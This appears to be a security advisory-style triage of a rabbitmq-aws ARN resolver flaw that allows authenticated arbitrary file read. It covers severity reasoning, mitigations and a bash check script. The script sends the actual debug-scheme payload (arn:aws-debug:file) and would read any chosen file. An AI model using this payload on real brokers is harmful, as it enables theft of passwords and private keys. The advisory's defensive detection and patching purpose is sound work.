Active debug code exists in the ARN resolver of amazon-mq rabbitmq-aws before version 0

rabbitmq-aws before 0.2.1 shipped active debug code in its ARN resolver. If an attacker can send an authenticated PUT to /api/aws/arn/validate, they can abuse the debug scheme arn:aws-debug:file to read any file the RabbitMQ process can read, including broker config, passwords, and potentially TLS private keys. Affected versions are >=0.1.0 and <=0.2.0.

AWS scored this HIGH at 7.7, but that overstates the enterprise patching urgency. In the real world this is not pre-auth, not RCE, not broad internet spray, and the vulnerable code path only matters where the aws plugin is enabled, the management API is reachable, and the attacker already has valid management credentials; those are heavy compounding frictions that push this into post-initial-access secret exposure, not frontline emergency patching.

Why this verdict

• Start from 7.7 HIGH, then subtract for attacker position: this is PR:L against a management API, so the attacker is already an authenticated remote user rather than an unauthenticated external actor.
• Subtract again for exposure narrowing: the broker must be Amazon MQ for RabbitMQ, the aws plugin must matter, and the management API must be reachable. That is a much smaller population than generic RabbitMQ or generic AWS services.
• Hold it above LOW because the data at risk is real: readable files can include broker secrets, passwords, and TLS private keys, which can create durable follow-on access even though the bug itself is 'only' file disclosure.

Why not higher?

This is not pre-auth, not code execution, and not broadly wormable. The attacker needs network reachability to the management plane and valid credentials, which means most organizations would already be dealing with a prior control failure or an insider-equivalent scenario before this bug matters.

Why not lower?

Arbitrary file read on a broker is not harmless admin trivia. If the RabbitMQ process can read key material, passwords, or sensitive config, the resulting disclosure can enable credential reuse, TLS impersonation, and longer-lived access that outlasts the initial session.

1. Restrict management API reachability — Constrain 443/15671 to admin jump hosts, approved VPN ranges, or VPC-only access. For a MEDIUM verdict there is no mitigation SLA, but this is still the highest-value containment move because it removes the first exploit step without waiting for vendor maintenance.
2. Reduce management credentials — Review RabbitMQ users and automation accounts for management API rights; strip admin or policy-management permissions from any account that only publishes or consumes messages. There is no mitigation SLA — go straight to the 365-day remediation window, but access reduction should happen during normal credential hygiene work well before that patch deadline.
3. Disable the aws plugin where unused — If you are not using ARN-backed configuration, disable the plugin so /api/aws/arn/validate returns 405 and the vulnerable path is gone. Use this where operationally safe; if the broker depends on ARN resolution at startup, validate the fallback configuration first.
4. Rotate file-based secrets after exposure review — If the endpoint was reachable to untrusted admins, rotate any TLS private keys, passwords, or local secret files readable by the RabbitMQ process. Do this as part of remediation validation, because the patch stops future reads but does not invalidate already-stolen material.
5. Alert on validation endpoint use — Instrument reverse proxy, broker, and VPC logs to flag PUT /api/aws/arn/validate, especially request bodies containing arn:aws-debug:file or raw filesystem paths. For a niche authenticated flaw, targeted detections are often more practical than broad signature coverage.

Run this from an auditor workstation or EC2 instance that can already reach the broker management API; for private brokers, use a host inside the same VPC or the documented proxy/tunnel path. Invoke it as ./check_cve_2026_9133.sh https://b-1234.mq.us-east-1.amazonaws.com:443 admin 'SuperSecret!' /etc/hostname; no root privileges are required, but you do need valid RabbitMQ management credentials and authorization to test the broker.

#!/usr/bin/env bash
# check_cve_2026_9133.sh
# Detects CVE-2026-9133 on an Amazon MQ RabbitMQ broker by safely probing
# the authenticated ARN validation endpoint with a benign file path.
#
# Exit codes:
#   0 = PATCHED
#   1 = VULNERABLE
#   2 = UNKNOWN / error / insufficient access

set -u

usage() {
  echo "Usage: $0 <base_url> <username> <password> [test_file]"
  echo "Example: $0 https://b-1234.mq.us-east-1.amazonaws.com:443 admin 'SuperSecret!' /etc/hostname"
}

if [ $# -lt 3 ]; then
  usage
  exit 2
fi

BASE_URL="$1"
USER="$2"
PASS="$3"
TEST_FILE="${4:-/etc/hostname}"
ENDPOINT="${BASE_URL%/}/api/aws/arn/validate"
BODY=$(printf '{"assume_role_arn":"arn:aws:iam::111122223333:role/does-not-matter","arns":["arn:aws-debug:file:%s"]}' "$TEST_FILE")
TMP_BODY=$(mktemp)
trap 'rm -f "$TMP_BODY"' EXIT

HTTP_CODE=$(curl -k -sS -u "$USER:$PASS" \
  -o "$TMP_BODY" \
  -w '%{http_code}' \
  -X PUT \
  -H 'content-type: application/json' \
  --data "$BODY" \
  "$ENDPOINT" 2>/dev/null)
CURL_RC=$?

if [ $CURL_RC -ne 0 ]; then
  echo "UNKNOWN - network or TLS error reaching $ENDPOINT"
  exit 2
fi

RESP=$(cat "$TMP_BODY")

case "$HTTP_CODE" in
  200)
    # Heuristic: if the debug scheme works, response often contains file content
    # or at least echoes the test path without rejecting the scheme.
    if echo "$RESP" | grep -qiE 'aws-debug:file|/etc/hostname|hostname|resolved|content|value'; then
      # Stronger signal: response does NOT reject the scheme and appears to process it.
      if ! echo "$RESP" | grep -qiE 'unsupported|invalid arn|invalid scheme|method not allowed|not allowed'; then
        echo "VULNERABLE - endpoint accepted debug ARN scheme; inspect response manually"
        exit 1
      fi
    fi
    # 200 but ambiguous response
    echo "UNKNOWN - endpoint reachable and authenticated, but response was inconclusive"
    echo "$RESP"
    exit 2
    ;;
  401|403)
    echo "UNKNOWN - authentication succeeded poorly or account lacks required management access (HTTP $HTTP_CODE)"
    exit 2
    ;;
  404)
    echo "PATCHED - validation endpoint not present"
    exit 0
    ;;
  405)
    echo "PATCHED - aws plugin disabled or method blocked (HTTP 405)"
    exit 0
    ;;
  *)
    if echo "$RESP" | grep -qiE 'unsupported|invalid arn|invalid scheme|unknown partition|aws-debug'; then
      echo "PATCHED - debug ARN scheme rejected"
      exit 0
    fi
    echo "UNKNOWN - unexpected HTTP status $HTTP_CODE"
    echo "$RESP"
    exit 2
    ;;
esac

Sources

1. AWS Security Bulletin 2026-034-AWS
2. NVD CVE-2026-9133
3. GitHub Security Advisory GHSA-8554-wg4r-7hxm
4. rabbitmq-aws 0.2.1 release
5. Amazon MQ ARN support in RabbitMQ configuration
6. Amazon MQ RabbitMQ plugins documentation
7. Configuring a private Amazon MQ broker
8. CISA Known Exploited Vulnerabilities Catalog